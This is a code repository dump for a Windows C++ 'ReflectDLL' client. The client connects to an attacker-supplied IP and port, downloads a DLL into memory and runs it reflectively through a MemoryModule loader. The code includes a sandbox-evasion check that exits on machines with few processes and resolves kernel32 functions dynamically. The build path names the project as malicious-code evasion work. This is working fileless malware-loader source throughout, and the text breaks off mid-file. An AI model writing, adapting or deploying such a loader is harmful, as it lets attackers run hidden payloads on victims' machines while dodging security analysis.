├── Client ├── ReflectDLL_UseMemoryModule.sln └── ReflectDLL_UseMemoryModule │ ├── MemoryModule.cpp │ ├── MemoryModule.h │ ├── ReflectDLL_UseMemoryModule.cpp │ ├── ReflectDLL_UseMemoryModule.vcxproj │ ├── ReflectDLL_UseMemoryModule.vcxproj.filters │ ├── ReflectDLL_UseMemoryModule.vcxproj.user │ └── kernal32-import.h ├── README.md └── Server └── PigSender.c /Client/ReflectDLL_UseMemoryModule.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30413.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectDLL_UseMemoryModule", "ReflectDLL_UseMemoryModule\ReflectDLL_UseMemoryModule.vcxproj", "{575278F8-C5F3-4640-A72C-6FD658D55050}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Win32 = Release|Win32 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Debug|Win32.ActiveCfg = Debug|Win32 19 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Debug|Win32.Build.0 = Debug|Win32 20 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Debug|x64.ActiveCfg = Debug|x64 21 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Debug|x64.Build.0 = Debug|x64 22 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Debug|x86.ActiveCfg = Debug|Win32 23 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Debug|x86.Build.0 = Debug|Win32 24 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Release|Win32.ActiveCfg = Release|Win32 25 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Release|Win32.Build.0 = Release|Win32 26 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Release|x64.ActiveCfg = Release|x64 27 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Release|x64.Build.0 = Release|x64 28 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Release|x86.ActiveCfg = Release|Win32 29 | {575278F8-C5F3-4640-A72C-6FD658D55050}.Release|x86.Build.0 = Release|Win32 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {F7DDDC2E-3AAC-4C16-B427-08D240030C27} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /Client/ReflectDLL_UseMemoryModule/MemoryModule.cpp: -------------------------------------------------------------------------------- 1 | 2 | #ifndef __GNUC__ 3 | // disable warnings about pointer <-> DWORD conversions 4 | #pragma warning( disable : 4311 4312 ) 5 | #endif 6 | 7 | #ifdef _WIN64 8 | #define POINTER_TYPE ULONGLONG 9 | #else 10 | #define POINTER_TYPE DWORD 11 | #endif 12 | 13 | #if (defined DEBUG) || (defined _DEBUG) 14 | #define DEBUG_OUTPUT 1 15 | #endif 16 | 17 | #include 18 | #include 19 | #ifdef DEBUG_OUTPUT 20 | #include 21 | #endif 22 | 23 | #ifndef IMAGE_SIZEOF_BASE_RELOCATION 24 | // Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!? 25 | #define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION)) 26 | #endif 27 | 28 | #include "MemoryModule.h" 29 | 30 | 31 | 32 | typedef struct { 33 | PIMAGE_NT_HEADERS headers; 34 | unsigned char* codeBase; 35 | HMODULE* modules; 36 | int numModules; 37 | int initialized; 38 | } MEMORYMODULE, * PMEMORYMODULE; 39 | 40 | typedef BOOL(WINAPI* DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); 41 | 42 | #define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx] 43 | 44 | #ifdef DEBUG_OUTPUT 45 | static void 46 | OutputLastError(const char* msg) 47 | { 48 | LPSTR tmp; 49 | char* tmpmsg; 50 | FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, 51 | NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (LPSTR)&tmp, 0, NULL); 52 | tmpmsg = (char*)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3); 53 | sprintf(tmpmsg, "%s: %s", msg, tmp); 54 | OutputDebugStringA(tmpmsg); 55 | LocalFree(tmpmsg); 56 | LocalFree(tmp); 57 | } 58 | #endif 59 | 60 | static void CopySections(const unsigned char* data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module) 61 | { 62 | int i, size; 63 | unsigned char* codeBase = module->codeBase; 64 | unsigned char* dest; 65 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); 66 | for (i = 0; i < module->headers->FileHeader.NumberOfSections; i++, section++) { 67 | if (section->SizeOfRawData == 0) { 68 | // section doesn't contain data in the dll itself, but may define 69 | // uninitialized data 70 | size = old_headers->OptionalHeader.SectionAlignment; 71 | if (size > 0) { 72 | dest = (unsigned char*)PigVirtualAlloc(codeBase + section->VirtualAddress, 73 | size, 74 | MEM_COMMIT, 75 | PAGE_READWRITE); 76 | 77 | section->Misc.PhysicalAddress = (POINTER_TYPE)dest; 78 | memset(dest, 0, size); 79 | } 80 | 81 | // section is empty 82 | continue; 83 | } 84 | 85 | // commit memory block and copy data from dll 86 | dest = (unsigned char*)PigVirtualAlloc(codeBase + section->VirtualAddress, 87 | section->SizeOfRawData, 88 | MEM_COMMIT, 89 | PAGE_READWRITE); 90 | memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData); 91 | section->Misc.PhysicalAddress = (POINTER_TYPE)dest; 92 | } 93 | } 94 | 95 | static int ProtectionFlags[2][2][2] = { 96 | { 97 | // not executable 98 | {PAGE_NOACCESS, PAGE_WRITECOPY}, 99 | {PAGE_READONLY, PAGE_READWRITE}, 100 | }, { 101 | // executable 102 | {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, 103 | {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}, 104 | }, 105 | }; 106 | 107 | static void FinalizeSections(PMEMORYMODULE module) 108 | { 109 | int i; 110 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers); 111 | #ifdef _WIN64 112 | POINTER_TYPE imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000); 113 | #else 114 | #define imageOffset 0 115 | #endif 116 | 117 | // loop through all sections and change access flags 118 | for (i = 0; i < module->headers->FileHeader.NumberOfSections; i++, section++) { 119 | DWORD protect, oldProtect, size; 120 | int executable = (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; 121 | int readable = (section->Characteristics & IMAGE_SCN_MEM_READ) != 0; 122 | int writeable = (section->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; 123 | 124 | if (section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) { 125 | // section is not needed any more and can safely be freed 126 | VirtualFree((LPVOID)((POINTER_TYPE)section->Misc.PhysicalAddress | imageOffset), section->SizeOfRawData, MEM_DECOMMIT); 127 | continue; 128 | } 129 | 130 | // determine protection flags based on characteristics 131 | protect = ProtectionFlags[executable][readable][writeable]; 132 | if (section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) { 133 | protect |= PAGE_NOCACHE; 134 | } 135 | 136 | // determine size of region 137 | size = section->SizeOfRawData; 138 | if (size == 0) { 139 | if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { 140 | size = module->headers->OptionalHeader.SizeOfInitializedData; 141 | } 142 | else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) { 143 | size = module->headers->OptionalHeader.SizeOfUninitializedData; 144 | } 145 | } 146 | 147 | if (size > 0) { 148 | // change memory access flags 149 | if (PigVirtualProtect((LPVOID)((POINTER_TYPE)section->Misc.PhysicalAddress | imageOffset), size, protect, &oldProtect) == 0) 150 | #ifdef DEBUG_OUTPUT 151 | OutputLastError("Error protecting memory page") 152 | #endif 153 | ; 154 | } 155 | } 156 | #ifndef _WIN64 157 | #undef imageOffset 158 | #endif 159 | } 160 | 161 | static void PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta) 162 | { 163 | DWORD i; 164 | unsigned char* codeBase = module->codeBase; 165 | 166 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC); 167 | if (directory->Size > 0) { 168 | PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress); 169 | 170 | for (; relocation->VirtualAddress > 0; ) { 171 | unsigned char* dest = codeBase + relocation->VirtualAddress; 172 | unsigned short* relInfo = (unsigned short*)((unsigned char*)relocation + IMAGE_SIZEOF_BASE_RELOCATION); 173 | for (i = 0; i < ((relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) { 174 | DWORD* patchAddrHL; 175 | #ifdef _WIN64 176 | ULONGLONG* patchAddr64; 177 | #endif 178 | int type, offset; 179 | 180 | // the upper 4 bits define the type of relocation 181 | type = *relInfo >> 12; 182 | // the lower 12 bits define the offset 183 | offset = *relInfo & 0xfff; 184 | 185 | switch (type) 186 | { 187 | case IMAGE_REL_BASED_ABSOLUTE: 188 | // skip relocation 189 | break; 190 | 191 | case IMAGE_REL_BASED_HIGHLOW: 192 | // change complete 32 bit address 193 | patchAddrHL = (DWORD*)(dest + offset); 194 | *patchAddrHL += delta; 195 | break; 196 | 197 | #ifdef _WIN64 198 | case IMAGE_REL_BASED_DIR64: 199 | patchAddr64 = (ULONGLONG*)(dest + offset); 200 | *patchAddr64 += delta; 201 | break; 202 | #endif 203 | 204 | default: 205 | //printf("Unknown relocation: %d\n", type); 206 | break; 207 | } 208 | } 209 | 210 | // advance to next relocation block 211 | relocation = (PIMAGE_BASE_RELOCATION)(((char*)relocation) + relocation->SizeOfBlock); 212 | } 213 | } 214 | } 215 | 216 | static int BuildImportTable(PMEMORYMODULE module) 217 | { 218 | int result = 1; 219 | unsigned char* codeBase = module->codeBase; 220 | 221 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT); 222 | if (directory->Size > 0) { 223 | PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress); 224 | for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) { 225 | POINTER_TYPE* thunkRef; 226 | FARPROC* funcRef; 227 | 228 | HMODULE handle = LoadLibraryA((LPCSTR)(codeBase + importDesc->Name)); 229 | if (handle == NULL) { 230 | #if DEBUG_OUTPUT 231 | OutputLastError("Can't load library"); 232 | #endif 233 | result = 0; 234 | break; 235 | } 236 | 237 | module->modules = (HMODULE*)realloc(module->modules, (module->numModules + 1) * (sizeof(HMODULE))); 238 | if (module->modules == NULL) { 239 | result = 0; 240 | break; 241 | } 242 | 243 | module->modules[module->numModules++] = handle; 244 | if (importDesc->OriginalFirstThunk) { 245 | thunkRef = (POINTER_TYPE*)(codeBase + importDesc->OriginalFirstThunk); 246 | funcRef = (FARPROC*)(codeBase + importDesc->FirstThunk); 247 | } 248 | else { 249 | // no hint table 250 | thunkRef = (POINTER_TYPE*)(codeBase + importDesc->FirstThunk); 251 | funcRef = (FARPROC*)(codeBase + importDesc->FirstThunk); 252 | } 253 | for (; *thunkRef; thunkRef++, funcRef++) { 254 | if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { 255 | *funcRef = (FARPROC)GetProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef)); 256 | } 257 | else { 258 | PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + (*thunkRef)); 259 | *funcRef = (FARPROC)GetProcAddress(handle, (LPCSTR)&thunkData->Name); 260 | } 261 | if (*funcRef == 0) { 262 | result = 0; 263 | break; 264 | } 265 | } 266 | 267 | if (!result) { 268 | break; 269 | } 270 | } 271 | } 272 | 273 | return result; 274 | } 275 | 276 | HMEMORYMODULE MemoryLoadLibrary(const void* data) 277 | { 278 | PMEMORYMODULE result; 279 | PIMAGE_DOS_HEADER dos_header; 280 | PIMAGE_NT_HEADERS old_header; 281 | unsigned char* code, * headers; 282 | SIZE_T locationDelta; 283 | DllEntryProc DllEntry; 284 | BOOL successfull; 285 | 286 | dos_header = (PIMAGE_DOS_HEADER)data; 287 | if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { 288 | #if DEBUG_OUTPUT 289 | OutputDebugStringA("Not a valid executable file.\n"); 290 | #endif 291 | return NULL; 292 | } 293 | 294 | old_header = (PIMAGE_NT_HEADERS) & ((const unsigned char*)(data))[dos_header->e_lfanew]; 295 | if (old_header->Signature != IMAGE_NT_SIGNATURE) { 296 | #if DEBUG_OUTPUT 297 | OutputDebugStringA("No PE header found.\n"); 298 | #endif 299 | return NULL; 300 | } 301 | 302 | 303 | code = (unsigned char*)PigVirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase), 304 | old_header->OptionalHeader.SizeOfImage, 305 | MEM_RESERVE, 306 | PAGE_READWRITE); 307 | 308 | if (code == NULL) { 309 | 310 | code = (unsigned char*)PigVirtualAlloc(NULL, 311 | old_header->OptionalHeader.SizeOfImage, 312 | MEM_RESERVE, 313 | PAGE_READWRITE); 314 | if (code == NULL) { 315 | #if DEBUG_OUTPUT 316 | OutputLastError("Can't reserve memory"); 317 | #endif 318 | return NULL; 319 | } 320 | } 321 | 322 | 323 | result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE)); 324 | result->codeBase = code; 325 | result->numModules = 0; 326 | result->modules = NULL; 327 | result->initialized = 0; 328 | 329 | 330 | PigVirtualAlloc(code, 331 | old_header->OptionalHeader.SizeOfImage, 332 | MEM_COMMIT, 333 | PAGE_READWRITE); 334 | 335 | headers = code; 336 | 337 | 338 | memcpy(headers, dos_header, dos_header->e_lfanew + old_header->OptionalHeader.SizeOfHeaders); 339 | result->headers = (PIMAGE_NT_HEADERS) & ((const unsigned char*)(headers))[dos_header->e_lfanew]; 340 | 341 | 342 | result->headers->OptionalHeader.ImageBase = (POINTER_TYPE)code; 343 | 344 | 345 | CopySections((const unsigned char*)data, old_header, result); 346 | 347 | 348 | locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase); 349 | if (locationDelta != 0) { 350 | PerformBaseRelocation(result, locationDelta); 351 | } 352 | 353 | 354 | if (!BuildImportTable(result)) { 355 | goto error; 356 | } 357 | 358 | 359 | FinalizeSections(result); 360 | 361 | 362 | if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) { 363 | DllEntry = (DllEntryProc)(code + result->headers->OptionalHeader.AddressOfEntryPoint); 364 | if (DllEntry == 0) { 365 | #if DEBUG_OUTPUT 366 | OutputDebugStringA("Library has no entry point.\n"); 367 | #endif 368 | goto error; 369 | } 370 | 371 | // notify library about attaching to process 372 | successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0); 373 | if (!successfull) { 374 | #if DEBUG_OUTPUT 375 | OutputDebugStringA("Can't attach library.\n"); 376 | #endif 377 | goto error; 378 | } 379 | result->initialized = 1; 380 | } 381 | 382 | return (HMEMORYMODULE)result; 383 | 384 | error: 385 | // cleanup 386 | MemoryFreeLibrary(result); 387 | return NULL; 388 | } 389 | 390 | FARPROC MemoryGetProcAddress(HMEMORYMODULE module, const char* name) 391 | { 392 | unsigned char* codeBase = ((PMEMORYMODULE)module)->codeBase; 393 | int idx = -1; 394 | DWORD i, * nameRef; 395 | WORD* ordinal; 396 | PIMAGE_EXPORT_DIRECTORY exports; 397 | PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT); 398 | if (directory->Size == 0) { 399 | // no export table found 400 | return NULL; 401 | } 402 | 403 | exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress); 404 | if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) { 405 | // DLL doesn't export anything 406 | return NULL; 407 | } 408 | 409 | // search function name in list of exported names 410 | nameRef = (DWORD*)(codeBase + exports->AddressOfNames); 411 | ordinal = (WORD*)(codeBase + exports->AddressOfNameOrdinals); 412 | for (i = 0; i < exports->NumberOfNames; i++, nameRef++, ordinal++) { 413 | if (stricmp(name, (const char*)(codeBase + (*nameRef))) == 0) { 414 | idx = *ordinal; 415 | break; 416 | } 417 | } 418 | 419 | if (idx == -1) { 420 | // exported symbol not found 421 | return NULL; 422 | } 423 | 424 | if ((DWORD)idx > exports->NumberOfFunctions) { 425 | // name <-> ordinal number don't match 426 | return NULL; 427 | } 428 | 429 | // AddressOfFunctions contains the RVAs to the "real" functions 430 | return (FARPROC)(codeBase + (*(DWORD*)(codeBase + exports->AddressOfFunctions + (idx * 4)))); 431 | } 432 | 433 | void MemoryFreeLibrary(HMEMORYMODULE mod) 434 | { 435 | int i; 436 | PMEMORYMODULE module = (PMEMORYMODULE)mod; 437 | 438 | if (module != NULL) { 439 | if (module->initialized != 0) { 440 | // notify library about detaching from process 441 | DllEntryProc DllEntry = (DllEntryProc)(module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint); 442 | (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0); 443 | module->initialized = 0; 444 | } 445 | 446 | if (module->modules != NULL) { 447 | // free previously opened libraries 448 | for (i = 0; i < module->numModules; i++) { 449 | if (module->modules[i] != INVALID_HANDLE_VALUE) { 450 | FreeLibrary(module->modules[i]); 451 | } 452 | } 453 | 454 | free(module->modules); 455 | } 456 | 457 | if (module->codeBase != NULL) { 458 | // release memory of library 459 | VirtualFree(module->codeBase, 0, MEM_RELEASE); 460 | } 461 | 462 | HeapFree(GetProcessHeap(), 0, module); 463 | } 464 | 465 | } 466 | -------------------------------------------------------------------------------- /Client/ReflectDLL_UseMemoryModule/MemoryModule.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #ifndef __MEMORY_MODULE_HEADER 5 | #define __MEMORY_MODULE_HEADER 6 | 7 | #include 8 | 9 | #include "kernal32-import.h" 10 | 11 | extern ImportCreateThread PigCreateThread; 12 | extern ImportVirtualProtect PigVirtualProtect; 13 | extern ImportVirtualProtectEx PigVirtualProtectEx; 14 | extern ImportVirtualAlloc PigVirtualAlloc; 15 | typedef void* HMEMORYMODULE; 16 | 17 | 18 | #ifdef __cplusplus 19 | extern "C" { 20 | #endif 21 | 22 | HMEMORYMODULE MemoryLoadLibrary(const void*); 23 | 24 | FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char*); 25 | 26 | void MemoryFreeLibrary(HMEMORYMODULE); 27 | 28 | #ifdef __cplusplus 29 | } 30 | #endif 31 | 32 | #endif // __MEMORY_MODULE_HEADER -------------------------------------------------------------------------------- /Client/ReflectDLL_UseMemoryModule/ReflectDLL_UseMemoryModule.cpp: -------------------------------------------------------------------------------- 1 | #define _WINSOCK_DEPRECATED_NO_WARNINGS 0 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "MemoryModule.h" 9 | #include "kernal32-import.h" 10 | #pragma comment(lib,"ws2_32.lib") 11 | 12 | #define TOOLS_SIZE 1024*287744 13 | typedef BOOL(*Module)(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); 14 | 15 | typedef VOID(*msg)(VOID); 16 | PBYTE bFileBuffer = NULL; 17 | CHAR* pSpace = NULL; 18 | 19 | ImportCreateThread PigCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "CreateThread"); 20 | ImportVirtualProtect PigVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "VirtualProtect"); 21 | ImportVirtualProtectEx PigVirtualProtectEx = (ImportVirtualProtectEx)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "VirtualProtectEx"); 22 | ImportVirtualAlloc PigVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "VirtualAlloc"); 23 | 24 | void antixoxo() { 25 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 26 | if (INVALID_HANDLE_VALUE == hSnapshot) { 27 | return; 28 | } 29 | PROCESSENTRY32 petoo = { sizeof(petoo) }; 30 | int proctoolnum = 0; 31 | for (BOOL ret = Process32First(hSnapshot, &petoo); ret; ret = Process32Next(hSnapshot, &petoo)) 32 | { 33 | proctoolnum++; 34 | } 35 | if (proctoolnum <= 40) 36 | { 37 | exit(1); 38 | } 39 | } 40 | 41 | BOOL GetTOOL(const char* address, int port) { 42 | 43 | DWORD dwError; 44 | WORD sockVersion = MAKEWORD(2, 2); 45 | WSADATA wsaData; 46 | SOCKET socks; 47 | SHORT sListenPort = port; 48 | struct sockaddr_in sin; 49 | 50 | if (WSAStartup(sockVersion, &wsaData) != 0) 51 | { 52 | dwError = GetLastError(); 53 | return FALSE; 54 | } 55 | 56 | socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 57 | 58 | if (socks == INVALID_SOCKET) 59 | { 60 | dwError = GetLastError(); 61 | return FALSE; 62 | } 63 | 64 | sin.sin_family = AF_INET; 65 | sin.sin_port = htons(sListenPort); 66 | sin.sin_addr.S_un.S_addr = inet_addr(address); 67 | 68 | 69 | if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) 70 | { 71 | dwError = GetLastError(); 72 | return FALSE; 73 | } 74 | 75 | int ret = 0; 76 | //ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); 77 | //ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL); 78 | //ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); 79 | //ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); 80 | //ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); 81 | 82 | ZeroMemory(bFileBuffer, TOOLS_SIZE); 83 | 84 | Sleep(3000); 85 | pSpace = (CHAR*)PigVirtualAlloc(NULL, TOOLS_SIZE, MEM_COMMIT, PAGE_READWRITE); 86 | 87 | ret = recv(socks, (PCHAR)pSpace, TOOLS_SIZE, NULL); 88 | 89 | 90 | if (ret > 0) 91 | { 92 | closesocket(socks); 93 | } 94 | 95 | 96 | return TRUE; 97 | } 98 | 99 | 100 | int main(int argc, char* argv[]) 101 | { 102 | 103 | HMEMORYMODULE hModule; 104 | Module DllMain; 105 | bFileBuffer = new BYTE[TOOLS_SIZE]; 106 | CHAR cFunctionName[] = { 'D','l','l','M','a','n','\0' }; 107 | const char* address = NULL; 108 | int port; 109 | 110 | if (argc == 3) 111 | { 112 | printf("author@evilash\nThe target u wanna get DLL is %s:%s\n", argv[1],argv[2]); 113 | address = argv[1]; 114 | port = atoi(argv[2]); 115 | 116 | } 117 | else if (argc > 3) 118 | { 119 | printf("Too many arguments supplied.\n"); 120 | } 121 | else 122 | { 123 | printf("Usage: %s [ipaddr] [Port].\n", argv[0]); 124 | } 125 | 126 | antixoxo(); 127 | 128 | GetTOOL(address,port); 129 | 130 | hModule = MemoryLoadLibrary(pSpace); 131 | 132 | if (hModule == NULL) { 133 | delete[] bFileBuffer; 134 | return -1; 135 | } 136 | 137 | DllMain = (Module)MemoryGetProcAddress(hModule, cFunctionName); 138 | 139 | DWORD dwThread; 140 | HANDLE hThread = PigCreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DllMain, NULL, NULL, &dwThread); 141 | 142 | WaitForSingleObject(hThread, INFINITE); 143 | 144 | MemoryFreeLibrary(hModule); 145 | 146 | delete[] bFileBuffer; 147 | return GetLastError(); 148 | } -------------------------------------------------------------------------------- /Client/ReflectDLL_UseMemoryModule/ReflectDLL_UseMemoryModule.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {575278f8-c5f3-4640-a72c-6fd658d55050} 25 | ReflectDLLUseMemoryModule 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v110_xp 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_WARNINGS_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_WARNINGSNDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | E:\MyCode\恶意代码逃逸\MemoryModule;%(AdditionalIncludeDirectories) 106 | 107 | 108 | Console 109 | true 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | false 118 | _CRT_SECURE_NO_WARNINGS;_CRT_NONSTDC_NO_DEPRECATE 119 | true 120 | 121 | 122 | MultiThreaded 123 | 124 | 125 | Console 126 | true 127 | 128 | 129 | 130 | 131 | Level3 132 | true 133 | true 134 | false 135 | _CRT_SECURE_NO_WARNINGS;_CRT_NONSTDC_NO_DEPRECATE 136 | true 137 | E:\MyCode\恶意代码逃逸\MemoryModule;%(AdditionalIncludeDirectories) 138 | 139 | 140 | MultiThreaded 141 | 142 | 143 | Console 144 | true 145 | true 146 | true 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | -------------------------------------------------------------------------------- /Client/ReflectDLL_UseMemoryModule/ReflectDLL_UseMemoryModule.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | -------------------------------------------------------------------------------- /Client/ReflectDLL_UseMemoryModule/ReflectDLL_UseMemoryModule.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 192.168.43.130 8080 5 | WindowsLocalDebugger 6 | 7 | -------------------------------------------------------------------------------- /Client/ReflectDLL_UseMemoryModule/kernal32-import.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef KERNEL32_IMPORT 3 | #define KERNEL32_IMPORT 4 | #include 5 | 6 | 7 | typedef HANDLE(WINAPI* ImportCreateThread)( 8 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 9 | SIZE_T dwStackSize, 10 | LPTHREAD_START_ROUTINE lpStartAddress, 11 | __drv_aliasesMem LPVOID lpParameter, 12 | DWORD dwCreationFlags, 13 | LPDWORD lpThreadId); 14 | 15 | 16 | typedef BOOL(WINAPI* ImportVirtualProtect)( 17 | LPVOID lpAddress, 18 | SIZE_T dwSize, 19 | DWORD flNewProtect, 20 | PDWORD lpflOldProtect 21 | ); 22 | 23 | typedef BOOL(WINAPI* ImportVirtualProtectEx)( 24 | HANDLE hProcess, 25 | LPVOID lpAddress, 26 | SIZE_T dwSize, 27 | DWORD flNewProtect, 28 | PDWORD lpflOldProtect 29 | ); 30 | 31 | typedef LPVOID(WINAPI* ImportVirtualAlloc)( 32 | LPVOID lpAddress, 33 | SIZE_T dwSize, 34 | DWORD flAllocationType, 35 | DWORD flProtect 36 | ); 37 | 38 | typedef LPVOID(WINAPI* ImportVirtualAllocEx)( 39 | HANDLE hProcess, 40 | LPVOID lpAddress, 41 | SIZE_T dwSize, 42 | DWORD flAllocationType, 43 | DWORD flProtect 44 | ); 45 | 46 | typedef HANDLE(WINAPI* ImportCreateRemoteThread)( 47 | __in HANDLE hProcess, 48 | __in LPSECURITY_ATTRIBUTES lpThreadAttributes, 49 | __in SIZE_T dwStackSize, 50 | __in LPTHREAD_START_ROUTINE lpStartAddress, 51 | __in LPVOID lpParameter, 52 | __in DWORD dwCreationFlags, 53 | __out 